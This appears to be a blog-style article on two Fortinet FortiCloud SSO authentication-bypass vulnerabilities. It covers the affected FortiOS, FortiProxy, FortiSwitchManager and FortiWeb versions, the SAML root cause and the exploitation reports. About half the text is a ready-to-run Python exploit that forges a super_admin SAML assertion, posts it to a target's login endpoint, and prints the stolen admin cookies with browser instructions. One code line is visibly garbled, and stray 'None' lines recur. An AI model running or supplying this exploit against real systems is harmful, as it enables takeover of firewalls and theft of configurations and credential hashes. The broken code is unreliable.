Research suggests these are critical authentication-bypass vulnerabilities in Fortinet products, allowing unauthenticated attackers to forge SAML responses and gain administrative access if FortiCloud SSO is enabled. Evidence leans toward opportunistic exploitation starting shortly after disclosure, with no confirmed attribution to specific groups. It seems likely that affected systems include FortiOS, FortiProxy, FortiSwitchManager, and FortiWeb in specific versions, with patches available since December 9, 2025. The vulnerabilities carry a CVSS score of around 9.1–9.8, highlighting high severity due to remote exploitability without user interaction.

None

Vulnerability Overview

These flaws stem from improper verification of cryptographic signatures in SAML responses for FortiCloud SSO login. CVE-2025–59718 affects FortiOS, FortiProxy, and FortiSwitchManager, while CVE-2025–59719 targets FortiWeb. Although disabled by default, the feature often activates during FortiCare registration, potentially exposing deployments inadvertently.

Real-Life Attack Flow

In practice, attacks appear to follow an opportunistic pattern: scanning for exposed devices, forging SAML assertions to bypass authentication as "admin," and exfiltrating configuration files containing sensitive data like hashed credentials and network topologies. This can enable further actions such as cracking passwords offline or modifying policies for lateral movement, though observed campaigns focus primarily on reconnaissance rather than immediate destructive actions.

None

Research on CVE-2025–59718 and CVE-2025–59719: Proof-of-Concepts, Threat Actor Tactics, and Defensive Strategies

None

Fortinet announced two closely related authentication-bypass vulnerabilities on December 9, 2025. Both flaws involve improper verification of cryptographic signatures (CWE-347) in the handling of SAML responses for the FortiCloud SSO login feature. When FortiCloud SSO is enabled, an unauthenticated attacker can craft a malicious SAML response and log in as an administrator without valid credentials. Fortinet's advisory identifies these vulnerabilities as CVE-2025–59718 (affecting FortiOS, FortiProxy, and FortiSwitchManager) and CVE-2025–59719 (affecting FortiWeb). Both carry critical severity (CVSS 3.1 base score ≈ 9.8), and they are exploitable remotely without any privileges or user interaction. On December 16, 2025, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025–59718 to the Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to patch by December 23, 2025.

Although FortiCloud SSO is disabled by default, Fortinet warns that administrators often enable it during FortiCare registration — the registration GUI automatically turns on the "Allow administrative login using FortiCloud SSO" toggle unless the admin disables it. Consequently, many deployments may be inadvertently exposed. Within three days of the advisory, Arctic Wolf observed active exploitation against FortiGate appliances, confirming that threat actors were abusing the flaws to perform malicious SSO logins, export configuration files, and potentially harvest hashed credentials. The Canadian Centre for Cyber Security and the Cyber Security Agency of Singapore also issued alerts urging organizations to patch and temporarily disable FortiCloud SSO.

These CVEs only affect systems where the Allow administrative login using FortiCloud SSO feature is enabled. Fortinet notes that this option is disabled by default but is automatically enabled during FortiCare registration if administrators do not explicitly turn it off.

None
PoC Overview

CVE-2025–59718 Description

  • Affected Products: FortiOS (7.0.0–7.0.17, 7.2.0–7.2.11, 7.4.0–7.4.8, 7.6.0–7.6.3), FortiProxy (7.0.0–7.0.21, 7.2.0–7.2.14, 7.4.0–7.4.10, 7.6.0–7.6.3), and FortiSwitchManager (7.0.0–7.0.5, 7.2.0–7.2.6). Fortinet states that FortiOS 6.4 is not affected.
  • Root Cause: Improper verification of cryptographic signatures in SAML responses (CWE-347). When FortiCloud SSO is enabled, the products trust a forged SAML assertion and permit admin login.
  • Attack Method: A remote attacker crafts a malicious SAML response and submits it during the FortiCloud SSO login process. Because the signature is not properly verified, the system accepts it and grants admin access.
  • Impact: An unauthenticated attacker can bypass FortiCloud SSO login and gain administrative access to the web management interface, leading to improper access control. Attackers can then download configuration files, which expose network layouts, firewall policies, routing tables, and hashed passwords.

CVE-2025–59719 Description

  • Affected Products: This flaw specifically targets FortiWeb versions 8.0.0, 7.6.0–7.6.4, and 7.4.0–7.4.9. FortiWeb 7.0 and 7.2 are not affected.
  • Root Cause & Impact: Like CVE-2025–59718, the vulnerability arises from improper verification of SAML signatures. A forged SAML response allows an unauthenticated attacker to bypass FortiCloud SSO login and obtain administrator access. The impact is similar — unauthorized configuration export and potential compromise of hashed credentials.

POC

None
import requests
import urllib3
import base64
import sys
from datetime import datetime, timedelta
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_saml_bypass(username="admin"):
    # Minimal valid-looking SAMLResponse that Fortinet fails to verify properly
    now = datetime.utcnow()
    not_before = (now - timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%SZ')
    not_after = (now + timedelta(hours=1)).strftime('%Y-%m-%dT%H:%M:%SZ')
    saml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    ID="_bypass1337"
    Version="2.0"
    IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}"
    Destination="https://target/remote/saml/login">
    <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://sso.forticloud.com</saml:Issuer>
    <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        Version="2.0"
        ID="_assert1337"
        IssueInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}">
        <saml:Issuer>https://sso.forticloud.com</saml:Issuer>
        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{@forticloud.com">username}@forticloud.com</saml:NameID>
            <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml:SubjectConfirmationData NotOnOrAfter="{not_after}"
                    Recipient="https://target/remote/saml/login"/>
            </saml:SubjectConfirmation>
        </saml:Subject>
        <saml:Conditions NotBefore="{not_before}" NotOnOrAfter="{not_after}">
            <saml:AudienceRestriction>
                <saml:Audience>https://forticloud.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>
        <saml:AuthnStatement AuthnInstant="{now.strftime('%Y-%m-%dT%H:%M:%SZ')}" SessionIndex="_session1337">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>
        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>super_admin</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>
    </saml:Assertion>
</samlp:Response>"""
    # Base64 encode (URL-safe not needed here)
    return base64.b64encode(saml.encode('utf-8')).decode('utf-8')
def exploit(target):
    if not target.startswith("http"):
        target = "https://" + target
    url = target.rstrip("/") + "/remote/saml/login"
    saml_b64 = generate_saml_bypass("admin")
    data = {
        "SAMLResponse": saml_b64,
        "RelayState": ""
    }
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    print(f"[+] Targeting: {target}")
    print(f"[+] Sending malicious SAMLResponse ({len(saml_b64)} bytes)")
    s = requests.Session()
    r = s.post(url, data=data, headers=headers, verify=False, allow_redirects=True, timeout=15)
    if r.status_code == 200 and ("logout" in r.text or "dashboard" in r.text or "FortiOS" in r.text):
        print("[+++] EXPLOIT SUCCESSFUL - Authenticated as admin!")
        print(f"[+] Admin cookie: {s.cookies.get_dict()}")
        print(f"[+] Dashboard URL: {r.url}")
        return s
    else:
        print("[-] Exploit failed - likely patched or FortiCloud SSO disabled")
        print(f" Status: {r.status_code}")
        return None
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 CVE-2025-59718.py <target_ip_or_hostname>")
        print("Example: python3 CVE-2025-59718.py 192.168.1.99")
        sys.exit(1)
    target = sys.argv[1]
    session = exploit(target)
    if session:
        # Optional: open interactive dashboard
        print("\n[+] You can now browse to the final URL in your browser with the following cookie:")
        for k,v in session.cookies.items():
            print(f" document.cookie = '{k}={v}';")